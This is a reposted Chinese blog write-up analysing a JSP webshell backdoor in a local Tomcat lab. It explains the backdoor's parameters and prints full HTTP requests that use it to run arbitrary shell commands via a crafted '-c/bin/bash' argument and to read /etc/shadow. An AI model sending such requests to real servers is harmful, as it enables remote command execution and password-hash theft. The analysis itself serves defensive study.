3

记录一次JSP后门的分析 _巡安似海 — 安全社区的技术博客_51CTO博客

 1 year ago
source link: https://blog.51cto.com/xunansec/5767933
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

记录一次JSP后门的分析

精选 原创

巡安似海 2022-10-18 17:49:24 博主文章分类:技术文章 ©著作权

文章标签 tomcat jsp 文章分类 安全技术 网络/安全 阅读数187

0x01 环境部署

首先启动一个tomcat的环境先把这里的代码跑起来

记录一次JSP后门的分析 _jsp

先把这里的代码跑起来,访问tomcat

记录一次JSP后门的分析 _jsp_02

在docker中的​​tomcat/conf​​中可以看到账号密码

记录一次JSP后门的分析 _tomcat_03
记录一次JSP后门的分析 _tomcat_04

将JSP打包为war包​​jar -cvf 1.war 1.jsp​

记录一次JSP后门的分析 _jsp_05

随后上传就部署好了

记录一次JSP后门的分析 _tomcat_06

0x02 静态代码分析

大部分的方法其实没什么好看的,重点在下面的判断中

记录一次JSP后门的分析 _tomcat_07

从这里开始才是实际的处理逻辑,往下翻就可以看到一个runtime

记录一次JSP后门的分析 _jsp_08

那么这里应该如何执行命令呢?一行一行来说记录一次JSP后门的分析 _jsp_09这里需要获取一个参数z0,这里是个三元表达式,如果z0不等于空的话,那么cs的值就是z0这个GET参数的值,如果z0为空的话,它的默认值就是如下

记录一次JSP后门的分析 _tomcat_10

继续回到代码,那么需要设置响应头位text/html,并且将编码设置为要么是UTF-8要么是传进来的编码,随后继续看到下面的处理逻辑

记录一次JSP后门的分析 _jsp_11

首先需要获取一个参数为pwd的参数,这个pwd代表的值是如下pwd是110,那么也就意味着这里需要传一个​​​110=xxx​​的参数,继续往下看

记录一次JSP后门的分析 _tomcat_12

也可以看到z1和z2分别两个参数,那么其实现在把视角放大一些,可以发现,Pwd(也就是110这个参数)其实是决定了我们会用什么方法的

记录一次JSP后门的分析 _jsp_13

既然这样,目前大部分到这里已经梳理的差不多了,首先我们知道需要传的参数如下1、z0 表示编码2、110 表示处理逻辑3、z1 z2分别为不同处理逻辑那么如何构造参数进行执行命令呢?

​GET /tx/tx.jsp?z0=UTF-8&110=M&z1=1&z2=1 HTTP/1.1
Host: 192.168.31.140:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=5FC951B2AD6EB7806AC440B755A5855A; JSESSIONID=7836A81DC866B2CC0E5606881F58D7E7; remember-me=YWRtaW46MTY2MzUxMTgyMDQ2NjpkNTJmMjdjNzk5OWJjODVmNzNmZjQzZGYxYTAyMGJjZA; XSRF-TOKEN=2d693285-171c-4bf4-bf95-7addfaf3cb16​

记录一次JSP后门的分析 _tomcat_14

z0设置为UTF-8随后传入​​110=M​​也就代表我们使用执行命令的模块,随后z1和z2是干什么的呢?往下看一下

记录一次JSP后门的分析 _tomcat_15

自己写一个demo就可以看出来,首先z1就是我们需要执行的shell,z2就是我们要执行的命令,具体格式如下记录一次JSP后门的分析 _tomcat_16但是我们没办法直接这样构造请求去执行命令

记录一次JSP后门的分析 _jsp_17

为什么呢?因为在代码中的substring方法会从第二个字符开始,那么也就是我们需要构造一个payload去让他从第2个字符开始取,然后可以拼成下面的命令​​{"/bin/zsh", "-c", "ls -l"};​​先说采坑的思路
既然他这里会从第二个字符开始取,那么我直接在前面加两个字符让他跳过不就行了?
例如下面这样

记录一次JSP后门的分析 _jsp_18

​GET /tx/tx.jsp?z0=UTF-8&110=M&z1=///bin/bash&z2=whoami HTTP/1.1
Host: 192.168.31.140:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=5FC951B2AD6EB7806AC440B755A5855A; JSESSIONID=7836A81DC866B2CC0E5606881F58D7E7; remember-me=YWRtaW46MTY2MzUxMTgyMDQ2NjpkNTJmMjdjNzk5OWJjODVmNzNmZjQzZGYxYTAyMGJjZA; XSRF-TOKEN=2d693285-171c-4bf4-bf95-7addfaf3cb16​
​但是会发现其实是不行的,为什么呢?注意看代码中的第二个取值记录一次JSP后门的分析 _jsp_19这里的​​z1.substring(0, 2)​​取的就是被我们去掉的//,那么此时的命令就会变成如下​​/bin/bash // whoami​

记录一次JSP后门的分析 _jsp_20

所以就会报错,哪怕放在linux终端运行也是一样

记录一次JSP后门的分析 _tomcat_21

找执行命令的过程就不再多说,大致的思路就是这样,那么直接说如何执行命令

记录一次JSP后门的分析 _jsp_22

​​​GET /tx/tx.jsp?z0=UTF-8&110=M&z1=-c/bin/bash&z2=whoami HTTP/1.1
Host: 192.168.31.140:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=5FC951B2AD6EB7806AC440B755A5855A; JSESSIONID=7836A81DC866B2CC0E5606881F58D7E7; remember-me=YWRtaW46MTY2MzUxMTgyMDQ2NjpkNTJmMjdjNzk5OWJjODVmNzNmZjQzZGYxYTAyMGJjZA; XSRF-TOKEN=2d693285-171c-4bf4-bf95-7addfaf3cb16​
​为什么这样可以?很好理解,首先第一个​​​z1.substring(2)​​取值的时候会自动去掉-c,第二个​​​z1.substring(0,2)​​​取值的时候会取到-c,那么拼出来就是这样​​-c/bin/bash whoami 变成 /bin/bash -c whoami ​​所以就可以执行任意的命令
另外一些例如,任意文件读取等等等模块就不再赘述了

记录一次JSP后门的分析 _tomcat_23

例如任意文件读取

​GET /tx/tx.jsp?z0=UTF-8&110=C&z1=/etc/shadow HTTP/1.1
Host: 192.168.31.140:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=5FC951B2AD6EB7806AC440B755A5855A; JSESSIONID=7836A81DC866B2CC0E5606881F58D7E7; remember-me=YWRtaW46MTY2MzUxMTgyMDQ2NjpkNTJmMjdjNzk5OWJjODVmNzNmZjQzZGYxYTAyMGJjZA; XSRF-TOKEN=2d693285-171c-4bf4-bf95-7addfaf3cb16​

转载自:​ ​https://mp.weixin.qq.com/s?__biz=MzkxODM2MDcxNg==&mid=2247485921&idx=1&sn=6c8e06a93499686681040e4f411b15ff&chksm=c1b3ce02f6c447140a2dbfcbb4915ff534744a66cd0287376ef81236c9b2b27ef7d63203cfd7&token=1094495088&lang=zh_CN#rd​


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK